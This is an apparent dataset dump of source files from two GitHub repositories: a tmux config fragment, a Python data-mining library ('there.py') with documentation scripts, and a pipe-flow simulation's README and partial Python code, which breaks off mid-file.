visual-bell off\nset-option -g visual-silence off\nset-window-option -g monitor-activity off\nset-option -g bell-action none\n# modes\nsetw -g clock-mode-colour colour5\n# panes\n# statusbar\nset -g status-position top\nset -g status-justify left\nset -g status-bg colour232\nset -g status-fg colour137\n###set -g status-attr dim\nset -g status-left ''\nset -g status-right '#{?window_zoomed_flag,🔍,} #[fg=colour255,bold]#H #[fg=colour255,bg=colour19,bold] %b %d #[fg=colour255,bg=colour8,bold] %H:%M '\nset -g status-right '#{?window_zoomed_flag,🔍,} #[fg=colour255,bold]#H '\nset -g status-right-length 50\nset -g status-left-length 20\nsetw -g window-status-current-format ' #I#[fg=colour249]:#[fg=colour255]#W#[fg=colour249]#F '\nsetw -g window-status-format ' #I#[fg=colour237]:#[fg=colour250]#W#[fg=colour244]#F '\n# messages\n# layouts\nbind S source-file $Tnix/.config/tmux-session1\nsetw -g monitor-activity on\nset -g visual-activity on\nEOF\n \n" }, { "alpha_fraction": 0.4723067581653595, "alphanum_fraction": 0.49454987049102783, "avg_line_length": 24.41912841796875, "blob_id": "09cc91aa545f44ccb43346846f72dbf960d21893", "content_id": "6d28fdf821d024253944a21422e228a965f6bd46", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18073, "license_type": "permissive", "max_line_length": 128, "num_lines": 711, "path": "/therepy/there.py", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\"\"\"\nName:\n there.py : learn how to change, for the better\n\nVersion:\n 0.2\n\nUsage:\n there [options]\n\nOptions:\n\n -h Help.\n -v Verbose.\n -r=f Function to run.\n -s=n Set random number seed [default: 1].\n -k=n Speed in knots [default: 10].\n\nExamples:\n\n - Installation: `sh INSTALL.md`\n - Unit tests. 'pytest.py there.py'\n - One Unit test. `pytest.py -s -k tion1 there.py`\n - Continual tests: `rerun 'pytest there.py'`\n - Documentation: `sh DOC.md`\n - Add some shell tricks: `sh SH.md`\n\nNotes:\n Simplest to tricky-est, this code divides\n into `OTHER`,`BINS`,`TABLE`.\n\n - `OTHER` contains misc utilities.\n - `ROW` manages sets of rows.\n - `BINS` does discretization.\n\nAuthor:\n Tim Menzies\n [email protected]\n http://menzies.us\n\nCopyright:\n (c) 2020 Tim Menzies,\n MIT license,\n https://opensource.org/licenses/MIT\n\n\"\"\"\n\nfrom collections import defaultdict\nimport re\nimport sys\nimport math\nimport copy\nimport bisect\nimport pprint\nfrom docopt import docopt\nfrom random import random, seed, choice\nfrom random import shuffle as rshuffle\n\n\n# ---------------------------------------------\n# Misc, lib functions\ndef opt(d, **types):\n \"\"\"Coerce dictionaries into simple keys\n random.seed(1)\n whose values are of known `types`.\"\"\"\n d = {re.sub(r\"^[-]+\", \"\", k): v for k, v in d.items()}\n for k, f in types.items():\n d[k] = f(d[k])\n return o(**d)\n\n\ndef ako(x, c): return isinstace(x, c)\ndef same(x): return x\ndef first(a): return a[0]\ndef last(a): return a[-1]\ndef shuffle(a): rshuffle(a); return a\n\n\nclass o:\n \"\"\"LIB: Class that can pretty print; that\n can `inc`rement and `__add__` their values.\"\"\"\n def __init__(i, **d):\n i.__dict__.update(**d)\n\n def __repr__(i):\n \"Pretty print. Hide private keys (those starting in `_`)\"\n def dicts(x, seen=None):\n if isinstance(x, (tuple, list)):\n return [dicts(v, seen) for v in i]\n if isinstance(x, dict):\n return {k: dicts(x[k], seen)\n for k in x if str(k)[0] != \"_\"}\n if isinstance(x, o):\n seen = seen or {}\n j = id(x) % 128021 # ids are LONG; show them shorter.\n if x in seen:\n return f\"#:{j}\"\n seen[x] = x\n d = dicts(x.__dict__, seen)\n d[\"#\"] = j\n return d\n return x\n # -----------------------\n return re.sub(r\"'\", ' ',\n pprint.pformat(dicts(i.__dict__), compact=True))\n\n\nclass Col(o):\n \"Summarize columns. Ignore '?' unknown values.\"\n def __init__(i, pos=0, txt=\"\", w=1, all=[]):\n i.n, i.w, i.pos, i.txt = 0, w, pos, txt\n i.also()\n [i + x for x in all]\n\n def __add__(i, x):\n if x == \"?\":\n return x\n i.n += 1\n i.add(x)\n return x\n\n def norm(i, x):\n if x == \"?\":\n return x\n return i.norm1(x)\n\n def norm1(i, x): return x\n\n def dist(i, x, y):\n return 1 if x == \"?\" and y == \"?\" else i.dist1(x, y)\n\n\nclass Sample(Col):\n def __init__(i, pos=0, txt=\"\", all=[], enough=30, dull=[.147, .33, .474][0]):\n i.n, i.pos, i.txt = 0, pos, txt\n i.enough = enough\n i._all = []\n i.sorted = False\n i.dull = dull\n [i + x for x in all]\n i.rank = 0\n i._subs = [i]\n\n def add(i, x):\n i._all += [x]\n i.sorted = False\n\n @property\n def all(i):\n if not i.sorted:\n i._all = sorted(i._all)\n i.sorted = True\n return i._all\n\n def __lt__(i, j):\n return i.mid() < j.mid()\n\n def mid(i):\n n = len(i.all)/2\n return i.all[int(n)]\n\n def sd(i):\n n10 = int(.1*len(i.all))\n n90 = int(.9*len(i.all))\n return (i.all[n90] - i.all[n10])/2.56\n\n def iqr(i):\n n25 = int(.25*len(i.all))\n n75 = int(.75*len(i.all))\n return i.all[n75] - i.all[n25]\n\n def describe(i, rnd=3):\n return [round(i.mid(), rnd), round(i.sd(), rnd)]\n\n def some(i):\n n = int(max(1, len(i.all)/i.enough))\n return i.all[::n]\n\n def same(i, j):\n lst1, lst2 = i.some(), j.some()\n n = gt = lt = 0.0\n for x in lst1:\n for y in lst2:\n n += 1\n if x > y:\n gt += 1\n if x < y:\n lt += 1\n return abs(lt - gt)/n <= i.dull\n\n def merge(i, j):\n if i.same(j):\n k = Sample(enough=i.enough, dull=i.dull,\n all=i._all + j._all)\n k._subs = i._subs + j._subs\n return k\n\n\ndef rankSamples(bins):\n def worker(b4):\n j, now = 0, []\n while j < len(b4):\n a = b4[j]\n if j < len(b4) - 1:\n b = b4[j+1]\n ab = a.merge(b)\n if ab:\n a = ab\n j += 1\n now += [a]\n j += 1\n return now if len(now) == len(b4) else worker(now)\n # ------------------------\n bins = sorted(bins)\n tmp = worker(bins[:])\n for rank, bin in enumerate(tmp):\n for sub in bin._subs:\n sub.rank = rank + 1\n return bins\n\n\nclass Num(Col):\n \"Summarize numeric columns\"\n def also(i, most=sys.maxsize):\n i.mu, i.m2, i.sd, i.lo, i.hi = 0, 0, 0, most, -most\n\n def add(i, x):\n i.lo = min(x, i.lo)\n i.hi = max(x, i.hi)\n d = x - i.mu\n i.mu += d/i.n\n i.m2 += d*(x - i.mu)\n if i.m2 < 0:\n i.sd = 0\n elif i.n <= 1:\n i.sd = 0\n else:\n i.sd = (i.m2/(i.n-1))**0.5\n\n def dist1(i, x, y):\n if x == \"?\":\n y = i.norm(y)\n x = 0 if y > 0.5 else 1\n elif y == \"?\":\n x = i.norm(x)\n y = 0 if x > 0.5 else 1\n else:\n x, y = i.norm(x), i.norm(y)\n return abs(x-y)\n\n def like(i, x, *_):\n v = i.sd**2 + 10**-64\n nom = math.e**(-1*(x-i.mu)**2/(2*v)) + 10**-64\n denom = (2*math.pi*v)**.5\n return nom/(denom + 10**-64)\n\n def norm(i, x):\n if x == \"?\":\n return x\n return (x - i.lo)/(i.hi - i.lo + 10**-64)\n\n\nclass Sym(Col):\n \"Summarize symbolic columns\"\n def also(i):\n i.seen, i.most, i.mode = {}, 0, None\n\n def add(i, x):\n i.seen[x] = i.seen.get(x, 0) + 1\n if i.seen[x] > i.most:\n i.most, i.mode = i.seen[x], x\n\n def dist1(i, x, y):\n return 0 if x == y else 1\n\n def like(i, x, prior=1, m=1):\n return (i.seen.get(x, 0) + m*prior)/(i.n + m)\n\n\nclass Row(o):\n \"\"\"\n Holds one example from a set of `rows`\n in 'cells' (and, if the row has been descretized,\n in 'bins').\n \"\"\"\n def __init__(i, rows, cells):\n i._rows = rows\n i.cells = cells\n i.bins = cells[:]\n i.seen = False\n i.dom = 0\n\n def __getitem__(i, k):\n return i.cells[k]\n\n def better(i, j):\n c = i._rows.cols\n s1, s2, n = 0, 0, len(c.y) + 0.0001\n for col in c.y:\n x = i.bins[col.pos]\n y = j.bins[col.pos]\n s1 -= math.e**(col.w * (x - y) / n)\n s2 -= math.e**(col.w * (y - x) / n)\n return s1 / n < s2 / n\n\n def dist(i, j, what=\"x\"):\n d, n = 0, 0\n for col in i._rows.cols[what]:\n a, b = i[col.pos], j[col.pos]\n n += 1\n inc = col.dist(a, b)\n d += inc ** 2\n return (d / (n + 0.001))**0.5\n\n def status(i):\n return [i[col.pos] for col in i._rows.cols.y]\n\n\nclass Rows(o):\n \"\"\"\n Holds many examples in `rows`. Also, `cols` stores\n type descriptions for each column (and `cols` is built from the\n names in the first row).\n \"\"\"\n def __init__(i, src=None):\n \"\"\"\n Create from `src`, which could be a list,\n a `.csv` file name, or a string.\n \"\"\"\n i.all = []\n i.cols = o(all=[], names={}, klass=None,\n x=[], y=[], syms=[], nums=[])\n if src:\n [i.add(row) for row in csv(src)]\n\n def clone(i, all=[]):\n tmp = Rows()\n tmp.header([col.txt for col in i.cols.all])\n [tmp.row(one) for one in all]\n return tmp\n\n def add(i, row):\n \"The first `row` goes to the header. All the rest got to `rows`.\"\n i.row(row) if i.cols.all else i.header(row)\n\n ch = o(klass=\"!\", num=\"$\",\n less=\"<\", more=\">\", skip=\"?\",\n nums=\"><$\", goal=\"<>!,\")\n\n def header(i, lst):\n \"\"\"\n Using the magic characters from `Rows.ch`, divide the columns\n into the symbols, the numbers, the x cols, the y cols, the\n klass col. Also, store them all in the `all` list.\n \"\"\"\n c, ch = i.cols, Rows.ch\n c.klass = -1\n for pos, txt in enumerate(lst):\n w = -1 if ch.less in txt else 1\n col = (Num if txt[0] in ch.nums else Sym)(pos, txt, w)\n (c.nums if txt[0] in ch.nums else c.syms).append(col)\n (c.y if txt[0] in ch.goal else c.x).append(col)\n if ch.klass in txt:\n c.klass = col\n c.all += [col]\n i.cols.names[txt] = col\n\n def row(i, z):\n \"add a new row\"\n z = z.cells if isinstance(z, Row) else z\n [col + val for col, val in zip(i.cols.all, z)]\n i.all += [Row(i, z)]\n\n def bins(i, goal=None, cohen=.2):\n \"\"\"\n Divide ranges into ranges that best select for `goal`. If\n `goal=None` then just divide into sqrt(N) bins, that differ\n by more than a small amount (at least `.2*sd`).\n \"\"\"\n def apply2Numerics(lst, x):\n if x == \"?\":\n return x\n for pos, bin in enumerate(lst):\n if x < bin.xlo:\n break\n if bin.xlo <= x < bin.xhi:\n break\n return round((pos + 1) / len(lst), 2)\n # ----------------\n bins = {}\n for col in i.cols.nums:\n x = col.pos\n bins[x] = Bins.nums(i.all, x=x, goal=goal,\n cohen=cohen, y=i.cols.klass.pos)\n for row in i.all:\n old = row.bins[x]\n new = apply2Numerics(bins[x], row[x])\n row.bins[x] = new\n for col in i.cols.syms:\n x = col.pos\n bins[x] = Bins.syms(i.all, x=x, goal=goal,\n y=i.cols.klass.pos)\n return bins\n\n def like(i, row, n, m, k, nh):\n prior = (len(i.all) + k) / (n + k*nh)\n out = math.log(prior)\n for col in i.cols.x:\n val = row[col.pos]\n if val != \"?\":\n inc = col.like(val, prior, m)\n out += math.log(inc)\n return out\n\n\nclass Bin(o):\n \"\"\"A `bin` is a core data structure in DUO. It\n runs from some `lo` to `hi` value in a column, It is\n associated with some `ys` values. Some bins have higher\n `val`ue than others (i.e. better predict for any\n known goal.\"\"\"\n def __init__(i, z=\"__alll__\", x=0):\n i.xlo = i.xhi = z\n i.x, i.val = x, 0\n i.ys = {}\n\n def selects(i, row):\n \"\"\"Bin`s know the `x` index of the column\n they come from (so `bin`s can be used to select rows\n whose `x` values fall in between `lo` and `hi`.\"\"\"\n tmp = row[i.x]\n return tmp != \"?\" and i.xlo <= row[i.x] <= row[i.xhi]\n\n def score(i, all, e=0.00001):\n \"Score a bin by prob*support that it selects for the goal.\"\n yes = i.ys.get(1, 0) / (all.ys.get(1, 0) + e)\n no = i.ys.get(0, 0) / (all.ys.get(0, 0) + e)\n tmp = round(yes**2 / (yes + no + e), 3)\n i.val = tmp if tmp > 0.01 else 0\n return i\n\n def __add__(i, j):\n \"Add together the numeric values in `i` and `j`.\"\n k = Bin(x=i.x)\n k.xlo, k.xhi = i.xlo, j.xhi\n for x, v in i.ys.items():\n k.ys[x] = v\n for x, v in j.ys.items():\n k.ys[x] = v + k.ys.get(x, 0)\n return k\n\n def inc(i, y, want):\n k = y == want\n i.ys[k] = i.ys.get(k, 0) + 1\n\n\nclass Bins:\n \"Bins is a farcade holding code to manage `bin`s.\"\n def syms(lst, x=0, y=-1, goal=None):\n \"Return bins for columns of symbols.\"\n all = Bin(x=x)\n bins = {}\n for z in lst:\n xx, yy = z[x], z[y]\n if xx != \"?\":\n if xx not in bins:\n bins[xx] = Bin(xx, x)\n now = bins[xx]\n now.inc(yy, goal)\n all.inc(yy, goal)\n return [bin.score(all) for bin in bins.values()]\n\n def nums(lst, x=0, y=-1, goal=None, cohen=.3,\n enough=.5, trivial=.05):\n \"\"\"\n Return bins for columns of numbers. Combine two bins if\n they are separated by too small amount or if\n they predict poorly for the goal.\n \"\"\"\n def split():\n xlo, bins, n = 0, [Bin(0, x)], len(lst)**enough\n while n < 4 and n < len(lst) / 2:\n n *= 1.2\n for xhi, z in enumerate(lst):\n xx, yy = z[x], z[y]\n if xhi - xlo >= n: # split when big enough\n if len(lst) - xhi >= n: # split when enough remains after\n if xx != lst[xhi - 1][x]: # split when values differ\n bins += [Bin(xhi, x)]\n xlo = xhi\n now = bins[-1]\n now.xhi = xhi + 1\n all.xhi = xhi + 1\n now.inc(yy, goal)\n all.inc(yy, goal)\n return [bin.score(all) for bin in bins]\n\n def merge(bins):\n j, tmp = 0, []\n while j < len(bins):\n a = bins[j]\n if j < len(bins) - 1:\n b = bins[j + 1]\n ab = (a + b).score(all)\n tooLittleDifference = (mid(b) - mid(a)) < cohen\n notBetterForGoal = goal and ab.val >= a.val and ab.val >= b.val\n if tooLittleDifference or notBetterForGoal:\n a = ab\n j += 1\n tmp += [a]\n j += 1\n return bins if len(tmp) == len(bins) else merge(tmp)\n\n def mid(z): return (n(z.xlo) + n(z.xhi)) / 2\n def per(z=0.5): return lst[int(len(lst) * z)][x]\n def n(z): return lst[min(len(lst) - 1, z)][x]\n def finalize(z): z.xlo, z.xhi = n(z.xlo), n(z.xhi); return z\n # --------------------------------------------------------------\n lst = sorted((z for z in lst if z[x] != \"?\"), key=lambda z: z[x])\n all = Bin(0, x)\n cohen = cohen * (per(.9) - per(.1)) / 2.54\n return [finalize(bin) for bin in merge(split())]\n\n\nclass Abcd:\n \"\"\"Track set of actual and predictions, report precsion, accuracy,\n false alarm, recall,...\n \"\"\"\n def __init__(i, db=\"all\", rx=\"all\"):\n i.db = db\n i.rx = rx\n i.yes = i.no = 0\n i.known = {}\n i.a = {}\n i.b = {}\n i.c = {}\n i.d = {}\n i.all = {}\n\n def __call__(i, actual, predict):\n i.knowns(actual)\n i.knowns(predict)\n if actual == predict:\n i.yes += 1\n else:\n i.no += 1\n for x in i.known:\n if actual == x:\n if predict == actual:\n i.d[x] += 1\n else:\n i.b[x] += 1\n else:\n if predict == x:\n i.c[x] += 1\n else:\n i.a[x] += 1\n\n def knowns(i, x):\n if not x in i.known:\n i.known[x] = i.a[x] = i.b[x] = i.c[x] = i.d[x] = 0.0\n i.known[x] += 1\n if (i.known[x] == 1):\n i.a[x] = i.yes + i.no\n\n def report(i, goal=None, cache=None):\n if not goal:\n print(\"\")\n print('{0:20s} {1:10s} {2:3s} {3:3s} {4:3s} {5:3s} {6:3s} {7:3s} {8:3s} {9:3s} {10:3s} {11:3s} {12:3s} {13:10s}'.format(\n \"db\", \"rx\", \"n\", \"a\", \"b\", \"c\", \"d\", \"acc\", \"pd\", \"pf\", \"prec\", \"f\", \"g\", \"class\"))\n print('-'*85)\n\n def p(y): return int(100*y + 0.5)\n def n(y): return int(y)\n pd = pf = pn = prec = g = f = acc = 0\n order = sorted([(-1*(i.b[k] + i.d[k]), k)\n for k in i.known])\n for _, x in order:\n a = i.a[x]\n b = i.b[x]\n c = i.c[x]\n d = i.d[x]\n if (b+d):\n pd = 1.0*d / (b+d)\n if (a+c):\n pf = 1.0*c / (a+c)\n if (a+c):\n pn = 1.0*(b+d) / (a+c)\n if (c+d):\n prec = 1.0*d / (c+d)\n if (1-pf+pd):\n g = 2.0*(1-pf)*pd / (1-pf+pd)\n if (prec+pd):\n f = 2.0*prec*pd/(prec+pd)\n if (i.yes + i.no):\n acc = 1.0*i.yes/(i.yes+i.no)\n i.all[x] = o(pd=pd, pf=pf, prec=prec, g=g, f=f, acc=acc)\n if not goal:\n print('{0:20s} {1:10s} {2:3d} {3:3d} {4:3d} {5:3d} {6:3d} {7:3d} {8:3d} {9:3d} {10:3d} {11:3d} {12:3d} {13:10s}'.format(\n i.db, i.rx, n(b + d), n(a), n(b), n(c), n(d), p(acc), p(pd), p(pf), p(prec), p(f), p(g), x))\n if x == goal:\n cache.acc += [acc]\n cache.pd += [pd]\n cache.pf += [pf]\n cache.prec += [prec]\n cache.f += [f]\n cache.g += [g]\n\n\nclass Seen(o):\n def __init__(i, rows, m=2, k=1):\n i.rows, i.m, i.k = rows, m, k\n i.ys, i.n = {}, 0\n\n def train(i, row):\n y = row[i.rows.cols.klass.pos]\n if y not in i.ys:\n i.ys[y] = i.rows.clone()\n i.n += 1\n i.ys[y].row(row)\n\n def guess(i, row):\n all, ybest, most = [], None, -10**64\n for y in i.ys:\n tmp = i.ys[y].like(row, i.n, i.m, i.k, len(i.ys))\n all += [[tmp, y, row]]\n if tmp > most:\n ybest, most = y, tmp\n return ybest, all\n\n def acquire(i, lst):\n \"minimze frequent, maximize strength, minimize convinction\"\n def down(z): return -z[0]\n scores, frequents, strengths, convictions = [], Num(), Num(), Num()\n for row in lst:\n frequent = i.rows.like(row, i.n, i.m, i.k, len(i.ys))\n guesses = sorted(i.guess(row)[1], key=down)\n strength0 = guesses[0][0]\n conviction = 1\n if len(guesses) > 1:\n conviction = strength0 - guesses[1][0]\n frequents + frequent\n strengths + strength0\n convictions + conviction\n scores += [[0, frequent, strength0, conviction, row]]\n for one in scores:\n one[1] = f = frequents.norm(one[1])\n one[2] = s = strengths.norm(one[2])\n one[3] = c = convictions.norm(one[3])\n w1 = 0\n w2 = 1\n w3 = 1\n one[0] = w = (\n (w1*(1-f)**2 + w2*s**2 + w3*(1-c)**2)/(w1+w2+w3))**0.5\n scores = sorted(scores, key=first)\n return [last(one) for one in scores]\n\n\ndef csv(src=None, f=sys.stdin):\n \"\"\"Read from stdio or file or string or list. Kill whitespace or\n comments. Coerce number strings to numbers.\"Ignore columns if,\n on line one, the name contains '?'.\"\"\"\n def items(z):\n for y in z:\n yield y\n\n def strings(z):\n for y in z.splitlines():\n yield y\n\n def csv(z):\n with open(z) as fp:\n for y in fp:\n yield y\n\n def rows(z):\n for y in f(z):\n if isinstance(y, str):\n y = re.sub(r'([\\n\\t\\r ]|#.*)', '', y).strip()\n if y:\n yield y.split(\",\")\n else:\n yield y\n\n def floats(a): return a if a == \"?\" else float(a)\n\n def nums(z):\n funs, num = None, Rows.ch.nums\n for a in z:\n if funs:\n yield [fun(a1) for fun, a1 in zip(funs, a)]\n else:\n funs = [floats if a1[0] in num else str for a1 in a]\n yield a\n\n def cols(src, todo=None):\n for a in src:\n todo = todo or [n for n, a1 in enumerate(a) if \"?\" not in a1]\n yield [a[n] for n in todo]\n\n if src:\n if isinstance(src, (list, tuple)):\n f = items\n elif isinstance(src, str):\n if src[-3:] == 'csv':\n f = csv\n else:\n f = strings\n for row in nums(cols(rows(src))):\n yield row\n" }, { "alpha_fraction": 0.4011741578578949, "alphanum_fraction": 0.41487279534339905, "avg_line_length": 18.653846740722656, "blob_id": "6ac41f37c069195199f161caa6f874cea1c561cf", "content_id": "93678871a6411dfd5fc6630fd51c66430906cafd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 511, "license_type": "permissive", "max_line_length": 50, "num_lines": 26, "path": "/DOC.md", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "# Documentation\n\nusage=\"sh DOC.md\" \n\nEll=$(cd $(dirname \"${BASH_SOURCE[0]}\") && pwd) \n\nd=$Ell/docs \nf=$Ell/therepy/there\n\nmkdir -p $d \n \ncat $f.py |\nawk '/^\"\"\"/ {i++} \n {s=\"\" \n if(i==1)\n if($0 !~ / $/) \n if ($0 !~ /:$/)\n s=\" \";\n print $0 s} \n' > $$\nmv $$ $f.py \n\npdoc3 -o $d --template-dir $d --force --html $f.py\nmv $Ell/docs/there.html $Ell/docs/index.html\n\n(cd $Ell/therepy; pydoc3 there | bat -plman )\n" }, { "alpha_fraction": 0.5804877877235413, "alphanum_fraction": 0.6536585092544556, "avg_line_length": 21.77777862548828, "blob_id": "b3c06c3454408732c0b89a1403d76df1cd448862", "content_id": "e39906903f15048a2762d6421e16afd598ed79d6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 410, "license_type": "permissive", "max_line_length": 88, "num_lines": 18, "path": "/CITATION.md", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "<img align=left width=300\nsrc=\"https://live.staticflickr.com/1070/1430045001_7dd540ff1a_b.jpg\">\n\n# Cite as ...\n\nT. Menzies, \n_Therepy:\nLearning how to change for the better (via explicable multi-objective optimization_), \nJuly, 2020\n\n```bibtex\n@article{timm:therepy,\n title = {Therepy: Explicable Mulit-objective Optimization},\n author = {Tim Menzies}, \n year = {2020}, \n month = {Jul}\n}\n```\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 20, "blob_id": "08f081141fee2440a08c22649e5519f1f2bf6a21", "content_id": "afeb5e2548936efbf14a69bcd86feceeb8828fa8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21, "license_type": "permissive", "max_line_length": 20, "num_lines": 1, "path": "/therepy/__init__.py", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "from .there import *\n" } ]
7
isaacmcallister843/Pipe_flow_simulation
https://github.com/isaacmcallister843/Pipe_flow_simulation
c577f7e970794cb574a225309926c37a64bb7dba
8bcc597109dbf3ad3b5bf8311a18583d7dffad66
8d2f3207735618c01f4e6bf2603b304e4075e2b8
refs/heads/main
2023-05-03T10:36:28.376598
2021-05-16T20:29:13
2021-05-16T20:29:13
347,770,583
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6783257722854614, "alphanum_fraction": 0.7359009385108948, "avg_line_length": 39.70399856567383, "blob_id": "e2290f6b64a0fc0cff1d6f2ca881d255c58cf95b", "content_id": "9d1bb9ccc7fe97db9994458aa9d34ab240ea937a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5089, "license_type": "no_license", "max_line_length": 385, "num_lines": 125, "path": "/README.md", "repo_name": "isaacmcallister843/Pipe_flow_simulation", "src_encoding": "UTF-8", "text": "# Pipe_flow_simulation\nBasic pipe flow simulator supporting turbomachinery \n\n# Motivation \nExpanded on a class project \n\n# Features\n- Flowrate simulations for a variety of pipe systems (or at least the systems found in fluid mechanics textbooks) \n- Turbomachinery support\n\n# Code examples \n\nThe simulation is made up of three classes. \n\nThe pipe class holds all the information on the various pipes that makes up the system. Pipe needs inputs of L(length), D (diameter) and Roughness. Optional variables are the minor losses in the pipe, Height (elevation change across the pipe), Pressure_drop (difference in pressure) and D_exit (the exit diameter, if non defaults to False.) All units are SI units, pressure is in kPa. \n\nHeight and pressure can be considered system qualities, they are included in the pipe class for flexibility and data collection purposes (i.e its easy to measure the elevation change of many pipes individually compared to a whole network of pipes.) \n\n```Python\npipe_1 = Pipe(L=5, D=.1, Roughness=.00001, Minor_loss=1.06)\npipe_2 = Pipe(L=8, D=.4, Roughness=.00003, Minor_loss=4, Height=-10)\n```\n\nThe Subsystem class contains: \n- Needed variables\n - pipe_list = list of pipes used in the system\n - Density = the density of the fluid\n \n- one of:\n - Vis = Viscosity\n - Kin_vis = Kinematic viscosity, will be calculated from viscosity if not provide\n \n- Used to solve questions / answers to questions\n - Velocity Enter = Velocity at entrance. Will be used to get flowrate and other pipe velocities \n - Target = target head loss, will be used if no flowrate is provided to calculate flowrate (defaults to 0) \n - Flowrate = if provided will calculate velocities and losses in pipes, if not will iterate to find\n\n- Additional tools\n - exit = if True will include the velocity at the exit as a loss, defaults to False\n - disp = display the results if True\n - minor_loss_pipe = if False will use the minor losses coefficient and their corresponding head to get the minor losses. can also be a number corresponding to the pipe velocity used to find losses (i.e minor_loss_pipe = 2 means the 3rd pipe (3rd in the list) will be used to calculate the minor losses)\n - max_q = maximum flow to guess for iteration\n\nFor this example we want to find the flowrate, after providing the system info the Subsytem class automatically calls the method summary() \n\n```Python\nsub = Subsystem([pipe_1, pipe_2], Density=998, Vis=.001005)\n```\n\nOutput: \n```\nFlowrate is: 0.083390 m^3 / s\nPressure drop is -4.344941 Pa\nTotal System Head Loss -0.000444 m\nPower needed to overcome head is -0.362325 W\nerror is\n0.0004437969282022891\n----------------------------\nFriction Factor List:\n[0.013270116095496493, 0.015308843387560344]\nVelocity List\n[10.61755353181037, 0.6635970957381482]\nReynolds List\n[1054360.0422633581, 263590.01056583953]\nLosses List\n[3.8123664789763967, -9.99312801305031]\n```\n\nNote that since no target head was provided the total system head was set to 0. The error term represents the net system head (Target - Head of system) closer to 0 the better. \n\nThe last useful tool is the turbo machinery simulator. Data for the pump/turbine/whatever will be given in the form of a equation relating head as a function of flowrate, or a data table containing head and flowrate values. This simulator supports both, in the case of data tables numpy is used to find a quadratic polynomial relating head and flowrate. \n\nFor the pump_system class: \n- Needed variables\n - Subsystem = object of class subsystem. NOTE: The flowrate doesnt need to be correct will guess regardless\n \n- One of\n - flowrate_array and head_array = list containing flowrate and head values to be fitted\n - ploynomial = array in the form [x^2 coef, x coef, x^0 coef ]\n - i.e H(Q) = 3 Q^2 + 2Q + 3 = [3,2,3]\n\n- Additional Tools\n - Terms = number of terms used for poly fit (defaults to 2) \n - number_pumps = number of pumps used, defualts to 1\n - char = pump arrangment either\n - S = Series\n - P = Parallel\n - False, default only one pump \n - For transformations: \n - diameter_pump = diameter of the pump (defualts to 1) \n - n = rotation rate (defaults to 1) \n\nIn this example we are given the pump curve: \n\n```Math \nH(Q) = -1930 Q^2 + 90\n```\n\nConverting the pump equation into a list we then pass the following to the pump class\n\n```Python\nploynomial = [-1930, 0, 90]\npump = pump_system(sub, polynomial=ploynomial)\n```\n\npump_system automatically returns a summary \n\n```\nUsing Given Poly\nIterating to get Flowrate\n----------------------\nFlowrate for the system in m^3 / s\n[-0.17458287 0.172944 ]\nPolynomial Fit is:\n 2\n-1930 x + 90\n```\nIn this case our flowrate is 0.172944 m^3 / s\n\nIn some cases it might be useful to model how a geometrically similiar pump would behave. In this case we can specify a diameter and/or a rotation rate in the pump system class and use the method transform to evaluate new diameters and rotation rates. \n\n```Python\npump = pump_system(sub, polynomial=ploynomial,diameter_pump=.3, n=1000 )\npump.transform(diameter_new = .5, n_new = 300) \n```\n\n" }, { "alpha_fraction": 0.5522782206535339, "alphanum_fraction": 0.5658619999885559, "avg_line_length": 35.54810333251953, "blob_id": "327dbbb502b92014bdafb5da4ae2fd68e82b5597", "content_id": "a9fc14aba9585b3f7d1f0efde30191d8bcf5ad71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12883, "license_type": "no_license", "max_line_length": 127, "num_lines": 343, "path": "/pipe_flow_simulation_final.py", "repo_name": "isaacmcallister843/Pipe_flow_simulation", "src_encoding": "UTF-8", "text": "# ---------------------- Libraries and importing\r\nimport math\r\nimport numpy as np\r\n\r\n# ---------------------- Units\r\nmeter_per_inch = .0254\r\nthreshold = .05\r\n\r\n# --------------------- Classes\r\n\"\"\"\r\nPipe Class, handles all the features of the pipe \r\n\"\"\"\r\n\r\n# Pressure drop is in kpA\r\n# SI units\r\n\r\n\r\nclass Pipe:\r\n\r\n def __init__(self, L=0, D=0, Roughness=0, Minor_loss=0,\r\n Height=0, Other_loss=0, Pressure_drop=0, D_exit=False):\r\n \"\"\"\r\n :param L: Length of pipe (m)\r\n :param D: Diameter of pipe (m)\r\n :param Roughness: Roughness of pipe\r\n :param Minor_loss: Coefficent for minor losses (unitless)\r\n :param Height: Change in height of the pipe (m)\r\n :param Other_loss: Any other losses (m)\r\n :param Pressure_drop: Pressure drop across the pipe (kPa)\r\n :param D_exit: If tampering a float, if no tampering a bool False\r\n \"\"\"\r\n self.length = float(L)\r\n self.diameter = float(D)\r\n self.roughness = float(Roughness)\r\n self.minor_loss = float(Minor_loss)\r\n self.height = float(Height)\r\n self.other_loss = float(Other_loss)\r\n self.pressure_drop = float(Pressure_drop)\r\n self.area = 3.14159*.25*(self.diameter)**2\r\n self.D_exit = self.get_d_exit(D_exit)\r\n\r\n def diameter_inch_m(self):\r\n \"\"\"\r\n updates diameter and area to be in metric\r\n :return: void\r\n \"\"\"\r\n self.diameter = meter_per_inch * self.diameter\r\n self.area = 3.14159*.25*(self.diameter)**2\r\n\r\n def get_d_exit(self, D_exit):\r\n \"\"\"\r\n :param D_exit: Either a bool or float value. Bool represents no tapering, flaot represents a tapered\r\n diameter\r\n :return:\r\n \"\"\"\r\n if D_exit == False:\r\n return self.diameter\r\n else:\r\n return D_exit\r\n\r\n\r\n\"\"\"\r\nSub system Class: Used for multiple pipes\r\n\"\"\"\r\n# ------------ Needed variables\r\n# pipe_list = list of pipes used in the system\r\n# Density = Density\r\n# ---- one of:\r\n# Vis = Viscosity\r\n# Kin_vis = Kinematic viscosity, will be calculated from viscosity if not provided\r\n\r\n# --------- Used to solve questions / answers to questions\r\n# Velocity Enter 